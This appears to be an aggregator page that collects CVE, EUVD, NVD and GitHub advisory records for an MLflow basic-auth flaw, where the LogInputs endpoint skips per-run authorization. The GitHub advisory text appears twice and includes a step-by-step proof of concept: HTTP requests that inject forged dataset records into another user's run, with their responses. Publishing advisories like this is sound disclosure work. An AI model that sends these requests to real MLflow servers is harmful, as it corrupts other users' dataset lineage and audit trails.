MLflow: LogInputs endpoint bypasses per-run UPDATE authorization in basic-auth
cve-program · CVE-2026-69146
PublishedMLflow is an open source AI engineering platform for agents, large language models, and machine learning models. From 3.13.0 until 3.15.0, LogInputs is absent from BEFORE_REQUEST_HANDLERS in the mlflow/server/auth package, allowing any authenticated user to call POST /api/2.0/mlflow/runs/log-inputs for another user's run_id and inject attacker-controlled DatasetInput records into the dataset_inputs lineage metadata without UPDATE permission. This issue is fixed in version 3.15.0.
Read the publisher's advisoryeuvd · EUVD-2026-60475
PublishedMLflow is an open source AI engineering platform for agents, large language models, and machine learning models. From 3.13.0 until 3.15.0, LogInputs is absent from BEFORE_REQUEST_HANDLERS in the mlflow/server/auth package, allowing any authenticated user to call POST /api/2.0/mlflow/runs/log-inputs for another user's run_id and inject attacker-controlled DatasetInput records into the dataset_inputs lineage metadata without UPDATE permission. This issue is fixed in version 3.15.0.
Read the publisher's advisorynvd · CVE-2026-69146
PublishedMLflow is an open source AI engineering platform for agents, large language models, and machine learning models. From 3.13.0 until 3.15.0, LogInputs is absent from BEFORE_REQUEST_HANDLERS in the mlflow/server/auth package, allowing any authenticated user to call POST /api/2.0/mlflow/runs/log-inputs for another user's run_id and inject attacker-controlled DatasetInput records into the dataset_inputs lineage metadata without UPDATE permission. This issue is fixed in version 3.15.0.
Read the publisher's advisoryosv · GHSA-3p64-6gvh-82v5
Published### Summary When MLflow is deployed with the built-in basic-auth plugin (`--app-name basic-auth`), any authenticated user can inject arbitrary dataset records into another user's run by calling `POST /api/2.0/mlflow/runs/log-inputs`. The `LogInputs` proto handler is absent from the `BEFORE_REQUEST_HANDLERS` map in `mlflow/server/auth/__init__.py`, so the before-request hook skips authorization entirely and the request succeeds. Standard write endpoints on the same run -- such as `POST /api/2.0/mlflow/runs/log-metric` -- correctly return HTTP 403. ### Details MLflow's basic-auth app gates every HTTP handler through a before-request hook (`_before_request`) that looks up the relevant permission validator in `BEFORE_REQUEST_VALIDATORS`. Validators are built from the `BEFORE_REQUEST_HANDLERS` dictionary, which maps each protobuf request class to a callable. When a class is absent from the dict (or mapped to `None`), `get_before_request_handler` returns `None`, and the resulting entry in `BEFORE_REQUEST_VALIDATORS` is `(path, method): None`. Inside `_before_request`: ```python # mlflow/server/auth/__init__.py _before_request() if validator := _find_validator(request): # None is falsy -- branch skipped if not validator(): return make_forbidden_response() elif _is_proxy_artifact_path(request.path): # not a proxy path ... # falls through: any authenticated request is allowed ``` The `LogInputs` protobuf class is not present in `BEFORE_REQUEST_HANDLERS`: ```python # mlflow/server/auth/__init__.py BEFORE_REQUEST_HANDLERS dict # LogInputs is absent; all run-write operations below ARE present: LogBatch: validate_can_update_run, LogMetric: validate_can_update_run, SetTag: validate_can_update_run, LogParam: validate_can_update_run, # LogInputs: <missing> ``` The route `/api/2.0/mlflow/runs/log-inputs` (and the identical `/ajax-api/` variant) therefore admits any valid credential, regardless of which experiment or run is targeted. The `LogInputs` handler writes `DatasetInput` records directly to the run's lineage table without any ownership check. ### PoC Prerequisites: MLflow v3.13.0 running with `--app-name basic-auth`. Two accounts: alice (creates experiment 2 and run A) and bob (creates experiment 4 and run B). 1. Confirm the authorized endpoint correctly denies alice's write to bob's run: ``` POST /api/2.0/mlflow/runs/log-metric HTTP/1.1 Authorization: Basic YWxpY2U6YWxpY2VfcGFzc3dvcmQxMjM= (alice:alice_password123) Content-Type: application/json {"run_id": "<bob_run_id>", "key": "test", "value": 1.0, "timestamp": 0, "step": 0} ``` Response: HTTP 403 Permission denied 2. Inject a dataset record into bob's run as alice: ``` POST /api/2.0/mlflow/runs/log-inputs HTTP/1.1 Authorization: Basic YWxpY2U6YWxpY2VfcGFzc3dvcmQxMjM= (alice:alice_password123) Content-Type: application/json {"run_id": "<bob_run_id>", "datasets": [{"dataset": {"name": "ATTACKER_injected", "digest": "evil123", "profile": "attacker_controlled"}}]} ``` Response: HTTP 200 {} 3. Confirm injection persisted: ``` GET /api/2.0/mlflow/runs/get?run_id=<bob_run_id> HTTP/1.1 Authorization: Basic Ym9iOmJvYl9wYXNzd29yZF9uZXcxMjM= (bob:bob_password_new123) ``` Response: HTTP 200 -- dataset_inputs array contains `{"name":"ATTACKER_injected","digest":"evil123","profile":"attacker_controlled"}`. ### Impact Any authenticated MLflow user can corrupt the dataset lineage metadata of any other user's run. In ML compliance workflows, dataset provenance records are audit evidence for model reproducibility and regulatory review. Injecting fake or misleading dataset entries into a competitor's runs can silently invalidate audit trails, cause misattribution of model training data, or introduce confusion about which datasets were used to train a model. The attacker needs only a valid credential; no elevated permissions are required.
Read the publisher's advisoryAffected versions, risk and source history
Exploitation and risk
Source statusCISA KEV lists vulnerabilities known to be exploited. FIRST EPSS estimates the likelihood of exploitation in the next 30 days. An unavailable score does not mean zero risk.
Which CVEs have scores here?
This view includes predictions for CVE identifiers explicitly listed in public NuGet advisories. Microsoft release pages have their own prediction coverage. Check source status for the scope and latest checks.
No exploitation or prediction data is available here for these CVEs. This does not mean they are safe or unlikely to be exploited.
cve-program · CVE-2026-69146
PublishedMLflow: LogInputs endpoint bypasses per-run UPDATE authorization in basic-auth
MLflow is an open source AI engineering platform for agents, large language models, and machine learning models. From 3.13.0 until 3.15.0, LogInputs is absent from BEFORE_REQUEST_HANDLERS in the mlflow/server/auth package, allowing any authenticated user to call POST /api/2.0/mlflow/runs/log-inputs for another user's run_id and inject attacker-controlled DatasetInput records into the dataset_inputs lineage metadata without UPDATE permission. This issue is fixed in version 3.15.0.
- Source published
- 17 Aug 2026 21:22:42 UTC
- Source modified
- 18 Aug 2026 18:16:46 UTC
- Saved here
- 23 Oct 2026 15:48:27 UTC
- Source terms
- CVE Program Terms of Use
Original source record · Cite this exact observation · Complete original publisher JSON
Source: cve-program · CVE Program Terms of Use. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.
CVSS 3.1 · 6.5 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N
euvd · EUVD-2026-60475
PublishedMLflow is an open source AI engineering platform for agents, large language models, and machine learning models. From 3.13.0 until 3.15.0, LogInputs is absent from BEFORE_REQUEST_HANDLERS in the mlflow/server/auth package, allowing any auth…
MLflow is an open source AI engineering platform for agents, large language models, and machine learning models. From 3.13.0 until 3.15.0, LogInputs is absent from BEFORE_REQUEST_HANDLERS in the mlflow/server/auth package, allowing any authenticated user to call POST /api/2.0/mlflow/runs/log-inputs for another user's run_id and inject attacker-controlled DatasetInput records into the dataset_inputs lineage metadata without UPDATE permission. This issue is fixed in version 3.15.0.
Additional publisher context
EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON.
Original publisher date fields
datePublished: Aug 17, 2026, 9:22:42 PM
dateUpdated: Aug 18, 2026, 6:16:46 PM
- Source published
- Aug 17, 2026, 9:22:42 PM (timezone not stated)
- Source modified
- Aug 18, 2026, 6:16:46 PM (timezone not stated)
- Saved here
- 11 Nov 2026 16:00:09 UTC
- Source terms
- ENISA EUVD · source terms and attribution apply
Original source record · Cite this exact observation · Complete original publisher JSON
Source: euvd · ENISA EUVD · source terms and attribution apply. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.
EUVD CVSS 3.1 · 6.5 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N
nvd · CVE-2026-69146
PublishedMLflow is an open source AI engineering platform for agents, large language models, and machine learning models. From 3.13.0 until 3.15.0, LogInputs is absent from BEFORE_REQUEST_HANDLERS in the mlflow/server/auth package, allowing any auth…
MLflow is an open source AI engineering platform for agents, large language models, and machine learning models. From 3.13.0 until 3.15.0, LogInputs is absent from BEFORE_REQUEST_HANDLERS in the mlflow/server/auth package, allowing any authenticated user to call POST /api/2.0/mlflow/runs/log-inputs for another user's run_id and inject attacker-controlled DatasetInput records into the dataset_inputs lineage metadata without UPDATE permission. This issue is fixed in version 3.15.0.
Additional publisher context
NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON.
Source analysis status: Awaiting Analysis
Weakness classifications: CWE-862
Original publisher date fields
published: 2026-08-17T22:17:26.243
lastModified: 2026-09-18T20:05:53.723
- Source published
- 17 Aug 2026 22:17:26 UTC
- Source modified
- 18 Sep 2026 20:05:53 UTC
- Saved here
- 25 Oct 2026 15:18:51 UTC
- Source terms
- NIST NVD usage terms; underlying source attribution retained
Original source record · Cite this exact observation · Complete original publisher JSON
Source: nvd · NIST NVD usage terms; underlying source attribution retained. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.
CVSS 3.1 · [email protected] · Secondary · 6.5 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N
osv · GHSA-3p64-6gvh-82v5
PublishedMLflow: LogInputs endpoint bypasses per-run UPDATE authorization in basic-auth
### Summary When MLflow is deployed with the built-in basic-auth plugin (`--app-name basic-auth`), any authenticated user can inject arbitrary dataset records into another user's run by calling `POST /api/2.0/mlflow/runs/log-inputs`. The `LogInputs` proto handler is absent from the `BEFORE_REQUEST_HANDLERS` map in `mlflow/server/auth/__init__.py`, so the before-request hook skips authorization entirely and the request succeeds. Standard write endpoints on the same run -- such as `POST /api/2.0/mlflow/runs/log-metric` -- correctly return HTTP 403. ### Details MLflow's basic-auth app gates every HTTP handler through a before-request hook (`_before_request`) that looks up the relevant permission validator in `BEFORE_REQUEST_VALIDATORS`. Validators are built from the `BEFORE_REQUEST_HANDLERS` dictionary, which maps each protobuf request class to a callable. When a class is absent from the dict (or mapped to `None`), `get_before_request_handler` returns `None`, and the resulting entry in `BEFORE_REQUEST_VALIDATORS` is `(path, method): None`. Inside `_before_request`: ```python # mlflow/server/auth/__init__.py _before_request() if validator := _find_validator(request): # None is falsy -- branch skipped if not validator(): return make_forbidden_response() elif _is_proxy_artifact_path(request.path): # not a proxy path ... # falls through: any authenticated request is allowed ``` The `LogInputs` protobuf class is not present in `BEFORE_REQUEST_HANDLERS`: ```python # mlflow/server/auth/__init__.py BEFORE_REQUEST_HANDLERS dict # LogInputs is absent; all run-write operations below ARE present: LogBatch: validate_can_update_run, LogMetric: validate_can_update_run, SetTag: validate_can_update_run, LogParam: validate_can_update_run, # LogInputs: <missing> ``` The route `/api/2.0/mlflow/runs/log-inputs` (and the identical `/ajax-api/` variant) therefore admits any valid credential, regardless of which experiment or run is targeted. The `LogInputs` handler writes `DatasetInput` records directly to the run's lineage table without any ownership check. ### PoC Prerequisites: MLflow v3.13.0 running with `--app-name basic-auth`. Two accounts: alice (creates experiment 2 and run A) and bob (creates experiment 4 and run B). 1. Confirm the authorized endpoint correctly denies alice's write to bob's run: ``` POST /api/2.0/mlflow/runs/log-metric HTTP/1.1 Authorization: Basic YWxpY2U6YWxpY2VfcGFzc3dvcmQxMjM= (alice:alice_password123) Content-Type: application/json {"run_id": "<bob_run_id>", "key": "test", "value": 1.0, "timestamp": 0, "step": 0} ``` Response: HTTP 403 Permission denied 2. Inject a dataset record into bob's run as alice: ``` POST /api/2.0/mlflow/runs/log-inputs HTTP/1.1 Authorization: Basic YWxpY2U6YWxpY2VfcGFzc3dvcmQxMjM= (alice:alice_password123) Content-Type: application/json {"run_id": "<bob_run_id>", "datasets": [{"dataset": {"name": "ATTACKER_injected", "digest": "evil123", "profile": "attacker_controlled"}}]} ``` Response: HTTP 200 {} 3. Confirm injection persisted: ``` GET /api/2.0/mlflow/runs/get?run_id=<bob_run_id> HTTP/1.1 Authorization: Basic Ym9iOmJvYl9wYXNzd29yZF9uZXcxMjM= (bob:bob_password_new123) ``` Response: HTTP 200 -- dataset_inputs array contains `{"name":"ATTACKER_injected","digest":"evil123","profile":"attacker_controlled"}`. ### Impact Any authenticated MLflow user can corrupt the dataset lineage metadata of any other user's run. In ML compliance workflows, dataset provenance records are audit evidence for model reproducibility and regulatory review. Injecting fake or misleading dataset entries into a competitor's runs can silently invalidate audit trails, cause misattribution of model training data, or introduce confusion about which datasets were used to train a model. The attacker needs only a valid credential; no elevated permissions are required.
- Source published
- 17 Aug 2026 21:59:01 UTC
- Source modified
- 21 Aug 2026 09:25:53 UTC
- Saved here
- 24 Oct 2026 13:17:17 UTC
- Source terms
- GitHub Advisory Database · CC-BY-4.0
Original source record · Cite this exact observation · Complete original publisher JSON
Source: osv · GitHub Advisory Database · CC-BY-4.0. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.
CVSS_V3 · CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N
Publisher rating · MODERATE